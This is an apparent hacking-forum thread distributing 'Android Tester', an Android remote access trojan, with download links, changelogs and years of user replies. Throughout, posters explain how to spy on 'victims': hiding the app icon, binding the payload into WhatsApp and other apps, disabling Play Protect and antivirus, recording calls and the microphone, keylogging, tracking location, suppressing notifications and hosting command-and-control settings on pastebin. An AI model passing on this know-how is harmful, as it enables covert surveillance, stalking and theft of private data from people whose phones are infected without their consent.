- Changed location map to Yandex Maps (it does not require API key)
- Added 2 button to open location from the browser (Google & Yandex)
- Adjusted socket settings
- More.

bro do you know which android version it supports till ? if its better then mobihok , spynote , spymaxv2 . and any tutorial on how to compile its source code please?

xxAudiDriverXx - September 5, 2020, 12:19 am

How can I switch to an other camera? Samsung has many rear camera, in spynote i could choose rear camera 1 oder 2, but here it is not possible..

afnitok666 - September 8, 2020, 1:04 pm

thanks mate..... appreciate it

CrackingG0d - September 9, 2020, 10:45 am

good veryyyyyy nice bro i like it hahahahah :)

Anywhere - September 19, 2020, 9:22 am

Hello,

I was looking for a RAT for Android.

I try that RAT. Unfortunately i met few problems.

Fyi, I have the access to the smartphone for the installation.

- If the smartphone is restart i lost the connection. And the victim of course will not launch it by himself. Did i miss something ?

- The icon is not hidden which can be suspicious. Is it possible to hide it ?

The only thing that i though is too bind it on a app used a lot like whatsapp

I would like to see Whatsapp/messenger conversation. But i couldn't with android tester. Is there one RAT which offers this feature ?

Thank you so much

soso121 - September 24, 2020, 10:56 am

aftabali - September 27, 2020, 8:42 am

Hello please upgrade it with other features too this should work on ANDROID 10 as well.

soso121 - September 29, 2020, 9:42 pm

How i can edit classes.dex?

Musa - October 7, 2020, 6:47 am

In android tester 6.4.6 , I can't build client...

In windows 7 32 bit

What is d solutions??

Now , I solved my problem by downgrade apktool

Now it works fine build client , works perfectly

Mainly I wanna solve , offline keylogger

File saved in , phone as . Log file

But when victim disconnected , .log file not catch keystrokes..

Plz fix it...

It's easy

```

Just , go to c drive , find android tester folder , go to apktool , and delete it,

Use , other spynot 6.4 and copy it's apktool there

Solved...

(Sep 19, 2020 09:22 AM)Anywhere Wrote: [\[CITE\]](#) Hello,

I was looking for a RAT for Android.

I try that RAT. Unfortunately i met few problems.

Fyi, I have the access to the smartphone for the installation.

- If the smartphone is restart i lost the connection. And the victim of course will not launch it by himself. Did i miss something ?

- The icon is not hidden which can be suspicious. Is it possible to hide it ?

The only thing that i though is too bind it on a app used a lot like whatsapp

I would like to see Whatsapp/messenger conversation. But i couldn't with android tester. Is there one RAT which offers this feature ?

Thank you so much

Disable Google protect

Disable Security AV

Give access rights

Tick on device administration

Don't bind it..if u want u can try manually lengthy process...

(Jan 18, 2020 06:01 PM)kkkk Wrote: [\[CITE\]](#) Hey,

It's been a long time! I am sharing the source codes & latest release of the app. Lets keep this project free, clean and collaborative. Please share your solutions/improvements on this thread. Help people.

On the other hand i am trying decompile android app into Android Studio. I'll share with you when its done.

Take care!

Download: [Android Tester 6.4.6](#)

Download: [Android Tester Source Code](#)

Make sure you have installed JRE before making a build.

How to change package name: [www . streamable . com/25hgl](http://www.streamable.com/25hgl)

Code Changelog v6.4.6

- Remaining time fix @download manager
- Loading bar color change

Changelog v6.4.5

- Builder fix
- Unknown developer fix
- Unlocked extra camera resolutions
- Mic UI fix
- More.

Change Log v6.4.4

- Changed Stub (Android App) with new package name & certificates (Semi-FUD on all android emulators, test yours!)
- Fixed key logger issue
- Fixed file manager issue
- Removed SL.exe (1.5mb) and compiled new from the source as "BuildClient.exe" (40kb)
- Updated APK Tool @latest

- Renamed some file names

Change Log v6.4.3

- Removed automatic voice recording function. Now you can record mic manually
- Added some control on start/stop buttons

Change Log v6.4.2

- Non-Cracked & Clean!
- Runs on virtual machines (tested on oracle, hypervm, vmware)
- Removed version check function from SN server.
- Set front camera, 640x480 resolution and multicapture enabled as default
- Added front-back camera buttons to start quick capture
- Set portrait mode as default for front camera
- Added control on stop button at Camera Recorder (to prevent android app freeze)
- Microphone fix (don't forget to install Java Runtime Environment)
- Microphone recording (You have to install virtual audio cable for VMs OR choose stereo mix for recording on physical computer)
- Microphone recording quality is the same as listening quality (8, 11, 22 or 44khz)
- Double click client to open Client Folder
- Right click select fix (Now selects client on clients list)
- Changed location map to Yandex Maps (it does not require API key)
- Added 2 button to open location from the browser (Google & Yandex)
- Adjusted socket settings
- More.

Just fix offline keylogger function

When , victim is online works well

But in offline , after reconnection not updating .log file..

Plz fix it sir...

naxster - October 11, 2020, 11:17 am

This software have been working great! But does anyone know if we can modify it or add some codes so it ignore the battery optimization and also disable all the notifications so they dont show up in status bar?

Everytime i install this APK on my phone, it always disguise itself to a random app in the status bar and i have to manually go into settings and disable all notification all the time :/

soso121 - October 12, 2020, 4:15 pm

No idea mate, i dont have a device that have Android 10, only 9

That's so strange :(

w1l5t3r - October 15, 2020, 2:54 am

(Oct 12, 2020 04:15 PM)soso121 Wrote: [\[CITE\]](#) Does the server work when you integrate it with another app on the Android 10?

BTW I don't have this notifications.

older android don't show the notification (bar with random app) I think anything android 9 upwards shows it. Unfortunately it is needed on newer devices to keep the server (connection) running and alive. Check the code to see if you can disable it and re-build the source.

harah - October 20, 2020, 6:42 am

Hello does anyone have encountered : an attempt was made to access a socket in a way forbidden by its access permissions. It was working perfectly till 1 hour ago.

urfinish5 - October 25, 2020, 1:52 am

It's easy to , hide notification by Decompile and remove foreground notification service lines from smali files..

How to make stable connection in android 10 ?

M100 - October 31, 2020, 4:27 pm

Hey, kkk

Thank you for your good work. I need little help please check convo.

Niltsar00 - November 20, 2020, 8:53 pm

Anyway to get the victim network SSID & password?

xandirx - December 11, 2020, 5:12 am

You guy, you are my hero. I don't have much but i can buy you beer for \$30 if you tell me how. PM me

2xTheTap115 - December 12, 2020, 1:26 pm

Thanks for sharing this OP, it is most useful??

seokitar - December 15, 2020, 2:31 pm

Dear kkkk, thanks for the project, it is working perfectly, what if you could improve are the icons of the keylogger applications: facebook, instagram, whatsapp, chrome, etc. Only that everything else is OK. Also give us your paypal to support you. I am from peru.

exploitzz - December 15, 2020, 10:49 pm

Anyone facing problem when recording calls (or listening to calls) on android 9 & 10 , just change audio source from "Default" to "Voice_Recognition".

Unfortunately, I tried all kinds of recording devices and frequencies, but can't save it after recording. The folder is empty.

Loom123 - January 26, 2021, 5:22 am

Hello sir

I have bind it with another apk, and just tried to install it on my coolpad mobile but after the installation the rat-apk is not hiding, I can see both binded apk and rat-apk on screen

Sir how can I hide it

Geob3r - January 26, 2021, 9:46 am

but when binded it does not execute.
???

Rs6 - January 27, 2021, 1:48 am

I confirm that on Android 10 "Hide" function not working.
If anyone helping to fix this will be very good :)

Geob3r - January 28, 2021, 12:17 pm

I want to clear the cache of another app maybe you can help me how to do it I really need it. If you know someone answer me

ppoil - January 29, 2021, 1:20 am

is there a way to access external memory too besides internal only??Also, there a way to donate for support? <3

Ismail KARA - February 4, 2021, 2:29 pm

huwaei antivirus disableb? or fud ?? help thanks.

f1n41_3ch0_4ctu41 - February 5, 2021, 7:58 am

can't build apk says "no java is found"

nvm it works now

Director153 - February 10, 2021, 10:02 am

First of all good work kkkk, thank you, thank you, thank you. I have two questions, 1. Which Java version is most compatible with this version Android Tester 6.4.6? Yesterday I could hear live microphone transmission, then I downloaded another Java version for another program, and today unfortunately it no longer works. 2. Can I activate GPS with the terminal? And if so how?

tdoxent - February 15, 2021, 5:55 pm

Man wtf is wrong with this rat. Now it says apktool unrecognized.

Hellou,

I use this rat about 1 year

When i Reinstall system

and install again this rat, mic is not working, other all works fine

And i Install Java jre1.8.0_241

When i click START LISTENING, he is automaticly open new app window of Android Tester

Somebody know where is the problem in START LISTENING?

Thanks

Everything is working very well, as of today, the only problem is just recording the calls. I would like to contact the creator of this "kkkk" to send him my donation but he does not answer, someone knows where I can find it. Thanks

Just use windows laptop/PC and set the sound scheme to "mixer" and record calls. Easy and takes a few minutes to configure.

fahad50sm - June 25, 2021, 2:18 am

the bind not work on 10 and up

Rojt - July 13, 2021, 4:41 am

sir i need help from you /I want to contact you but I can't

About Android Tester I want new additions/

In the past few days I have been able to hide the payload in Android 10 but I can't integrate it with another application / help me summon the application / and I will help you with the disappearance of the application in Android 10

Tarjk - July 23, 2021, 3:31 pm

Is it possible to change the ip and port with pastebin?
for instance

h ttp s://pastebin.com/raw/example =

Example-75487.portmap.io:75487

Instead of:

```
<string name = "h"> Example-75487.portmap.io </string>
<string name = "n"> Name app </string>
<string name = "p"> 75487 </string>
```

It would look like this:

```
<string name = "h"> ht tps://pastebin.com/raw/example </string>
<string name = "n"> Name app </string>
<string name = "p"> htt ps://pastebin.com/raw/exampleport </string>
```

Thanks!

Rojt - July 24, 2021, 6:09 am

Hey,

It's been a long time! I am sharing the source codes & latest release of the app. Lets keep this project free, clean and collaborative. Please share your solutions/improvements on this thread. Help people.

On the other hand i am trying decompile android app into Android Studio. I'll share with you when its done.

Take care!

Download: [Android Tester 6.4.6](#)

Download: [Android Tester Source Code](#)

Make sure you have installed JRE before making a build.

How to change package name: [www . streamable . com/25hgl](http://www.streamable.com/25hgl)

Code Changelog v6.4.6

- Remaining time fix @download manager
- Loading bar color change

Changelog v6.4.5

- Builder fix
- Unknown developer fix
- Unlocked extra camera resolutions
- Mic UI fix
- More.

Change Log v6.4.4

- Changed Stub (Android App) with new package name & certificates (Semi-FUD on all android emulators, test yours!)
- Fixed key logger issue
- Fixed file manager issue
- Removed SL.exe (1.5mb) and compiled new from the source as "BuildClient.exe" (40kb)
- Updated APK Tool @latest

- Renamed some file names

Change Log v6.4.3

- Removed automatic voice recording function. Now you can record mic manually
- Added some control on start/stop buttons

Change Log v6.4.2

- Non-Cracked & Clean!
 - Runs on virtual machines (tested on oracle, hypervm, vmware)
 - Removed version check function from SN server.
 - Set front camera, 640x480 resolution and multicapture enabled as default
 - Added front-back camera buttons to start quick capture
 - Set portrait mode as default for front camera
 - Added control on stop button at Camera Recorder (to prevent android app freeze)
 - Microphone fix (don't forget to install Java Runtime Environment)
 - Microphone recording (You have to install virtual audio cable for VMs OR choose stereo mix for recording on physical computer)
 - Microphone recording quality is the same as listening quality (8, 11, 22 or 44khz)
 - Double click client to open Client Folder
 - Right click select fix (Now selects client on clients list)
 - Changed location map to Yandex Maps (it does not require API key)
 - Added 2 button to open location from the browser (Google & Yandex)
 - Adjusted socket settings
 - More.
- [/quote]

I can't email you/Can you upload the source code again? The links are not working

TYVM??

Niltsar00 - October 15, 2021, 6:01 am

Anybody know why my client.apk is only 1k file size? Could it be due to the apktool 2.4.0? But I had already replace it with 2.3.4 inside the resources folder. No idea why it is still showing 2.4.0.

ending message.

```

Any1 knows how to fix this? and what is causing it to behave as this?

cmalo - January 14, 2022, 6:05 am

I am getting Java not found error when clicking build APK

When i want to select path i can not click anything to continue

Anyone knows what to do ?

minipouss - January 27, 2022, 3:03 am

For those who have this error : Code I: Built apk...

```
C:\Building-6.4\apktool>cd C:\Program Files\Java\jdk-17\bin
C:\Program Files\Java\jdk-17\bin>java -jar C:\Building-6.4\apktool\SignApk.jar
C:\Building-6.4\apktool\certificate.pem C:\Building-6.4\apktool\key.pk8
C:\Building-6.4\apktool\app-release\dist\app-release.apk C:\Building-6.4\apktool\out\client.apk

it's not a problem with the apktool version but rather with java , you need Java 8 JRE you can find it here: <https://ec.ccm2.net/www.commentcamarche.net/download/files/jre-8u271-windows-x64.exe>

Once installed, you just have to indicate the path to Android tester with something like this:

C:\Program Files\Java\jre1.8.0_271\bin

I hope it can help you.

thr0w4w4y - January 28, 2022, 4:55 pm

If anybody has a copy of the original source code il pay BTC.

Or we all need to see how can we get the source code link to work.

Throws up nginx error msg for me

OP did say it could be country specific, if anybody has some VPN in diff countries and some time on their hand try the link via diff VPN geo. it might work eventually

134679888 - January 29, 2022, 4:38 am

Why every time I launch my payload app it redirects me to download the latest original app instead?

Anything to do with the app version? (I cant modify the app version, it comes out as 6.4.4 after I built it through the tester, and the app I was binding to is on 3.0.31)

And the session seems to die off every 30 mins or so... I used to had a version of spynote in 2020 that can persist for days in my phone without the need of reconnecting. Just that now its detected by my shitty xiaomi/poco protection software and loves to delete my payload app (Hide application option is not ticked, its completely wiped off)

Anyway, thanks to OP for the effort, although it was a year since we last heard from you... hopefully 6.4.7 would be a bomb!

CupricMallard - January 29, 2022, 9:47 pm

Checked it out and it looks really good I have been trying to find something like this been just getting back into the field and needed to catch up. Thanks!

Blaze14 - May 5, 2022, 10:10 pm

its still working? please help me "Java not found" error when clicking build APK

Ph4n70M Phr34K - May 6, 2022, 1:00 pm

(May 5, 2022 10:10 PM)Blaze14 Wrote: [\[CITE\]](#) its still working? please help me "Java not found" error when clicking build APK
literally says that in OP

"Make sure you have installed JRE before making a build."

ActionNNNN - May 19, 2022, 4:48 am

Hellou

I have some problem with mic

When i click Listening Mic, automaticly open Browser and downloaded Player Java file

When use RAT on old system its works fine

Where is problem?

<https://ibb.co/h83p7m2>

<https://ibb.co/M1BzjrG>

ActionNNNN - May 21, 2022, 3:01 pm

Did you sloved this problem, i have same problem, on last system works fine, when i install new system only Mic streaming dont work, other works fine, first problem is when i click Listenig Mic redirect me to google chrome, and i solved this problem, only have this problem i think is JAVA problem or version or something i dont know ?????

totolamanigance - June 17, 2022, 5:29 pm

After spending 24 hours trying everything to solve my problem (which the majority encounters) "Java Error: 320"

Many people say that it came from the APK 2.4.0 version which had to be downgraded to the APK 2.3.4 version, it's not true!

It made me lose a lot of time, but I found the solution!

The solution is to fix the files (installed) JAVA JRE + JDK in Path manually.

To do this, go to "Edit system environment variables" then click on "Environment variables" Then add new JRE + JDK user variables & JRE + JDK system variables!

To add a simple click on "New" (variable name: Path) - Variable value: (C:\Program Files\Java\jre1.8.0_331\bin) something like this for JRE !

Once finished launch your Android Tester the problem is solved

Can elaborate more in details how is it being done?

zlg43647 - October 13, 2022, 7:22 am

Anyone knows how to modify the source code? PM me. Will pay paypal/crypto

itking008 - October 20, 2022, 9:08 pm

Hey, thanks for sharing it.

TMTLab - November 1, 2022, 5:59 am

Very good job,

any one can help me with Android_TemporaryKey.pfx
when i try make app request password!!
can say what password ? if can make new one or no have password can say how?

any one can help me please will be nice

TMTLab - November 2, 2022, 4:08 pm

all ready fix problem with new source code =)
thanks anyway

2a00 - July 22, 2023, 4:49 am

downland link dead kindly give new link

Avenger69 - December 29, 2023, 5:19 pm

I just started using this and everything is working great except for the call logs. It said no data or something to that effect. Call and phone permissions are granted. Any ideas? I believe its on Android 12.

(Jan 14, 2022 07:05 AM)cmal0 Wrote: [\[CITE\]](#) I am getting Java not found error when clicking build APK

I had this issue. I copied the Java folder to the android tester directory and that worked for me. Putting it in the android tester folder was the only way I could select it.

(Aug 18, 2021 03:06 AM)Imorris28 Wrote: [\[CITE\]](#) Anyone tried this on Android 11 or 10 ? Works for me. Even on 13

predHax - March 21, 2024, 3:07 am

Thanks, i go test it if work for me !
